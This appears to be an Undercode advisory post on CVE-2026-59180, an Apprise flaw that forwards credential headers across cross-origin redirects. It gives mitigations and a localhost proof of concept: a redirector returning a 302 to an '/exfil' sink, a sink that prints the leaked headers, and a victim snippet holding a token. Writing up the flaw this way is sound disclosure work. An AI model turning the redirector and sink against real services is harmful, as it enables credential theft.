Listen to this Post
CVE-2026-59180 represents a security vulnerability in the Apprise notification library stemming from improper HTTP redirect handling.
HTTP-based notification plugins and HTTP attachment or configuration loaders automatically follow HTTP 3xx redirects by default.
When an initial request is dispatched to an operator-configured destination, it often includes sensitive authentication headers.
These credentials can include X-Gotify-Key, Authorization bearer tokens, query parameters, or custom header values.
If the trusted destination becomes compromised or if an attacker establishes a Man-in-the-Middle network position, malicious redirects can occur.
The compromised server responds with a 302 redirection status code pointing to an arbitrary cross-origin host.
Apprise transparently follows this redirection instruction without stripping sensitive credentials from the outgoing request headers.
Consequently, the user-configured secret is forwarded directly to an unintended third-party external server.
This application-layer behavior mirrors cross-origin redirect credential forwarding issues found in other standard HTTP libraries.
The underlying root cause originates from the underlying requests library behavior where redirects are followed automatically.
Furthermore, headers dictionaries are re-attached indiscriminately to redirected requests regardless of domain changes or origin boundaries.
Approximately fifty distinct plugins within the Apprise ecosystem share this vulnerable implementation pattern.
Affected components include custom json, custom xml, custom form, gotify, ntfy, mattermost, and apprise_api plugins.
In addition, configuration and attachment loaders located in http.py are similarly impacted by this design flaw.
An attacker does not need control over the original Apprise client deployment or the primary configuration URL.
The attack relies entirely upon manipulating the response returned by a destination already trusted by the operator.
This introduces significant risk when routing notifications through third-party webhooks or relay services.
Without explicit mitigation, sensitive API tokens can be silently exfiltrated during routine operational notifications.
Mitigating this issue requires upgrading the software package and enforcing strict redirect constraints across all plugins.
Operators must ensure that untrusted endpoints are explicitly configured to reject automatic cross-origin redirection behaviors.
DailyCVE Form:
Platform: Apprise
Version: Up to 1.10.0
Vulnerability : Information disclosure flaw
Severity: Low
date: 2026-04-26
Prediction: 2026-05-29
What Undercode Say
Bash Commands and Code Snippets
pip install -U apprise
attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(302)
self.send_header("Location", "http://127.0.0.1:8082/exfil")
self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8081), H).serve_forever()
attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
print("LEAKED HEADERS:", dict(self.headers))
self.send_response(204); self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8082), H).serve_forever()
victim apprise test
from apprise import Apprise
a = Apprise()
a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN")
a.notify(body="x")
Exploit: (Educational Purposes!)
The exploit vector relies on setting up a local or remote HTTP server acting as a trusted destination that issues an HTTP 302 redirect. When Apprise sends a notification containing sensitive tokens to this endpoint, the server responds with a redirection header pointing to an attacker-controlled sink. Apprise automatically follows the redirect and resends the original authentication headers (such as X-Gotify-Key or bearer tokens) to the sink, successfully exfiltrating confidential credentials without user interaction.
Protection: from this CVE
Upgrade Apprise to version 1.11.0 or later using pip install -U apprise. Because default behavior retains redirects for backwards compatibility, operators utilizing untrusted or relay destinations should explicitly append ?redirect=no to individual plugin URLs or configure AppriseAsset(http_redirects=False) globally across their application.
Impact:
Partial confidentiality loss involving a single user-supplied secret per redirected request, scoped strictly to the specific compromised notification channel. Successful exploitation requires an on-path attacker or a compromised operator-configured destination.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

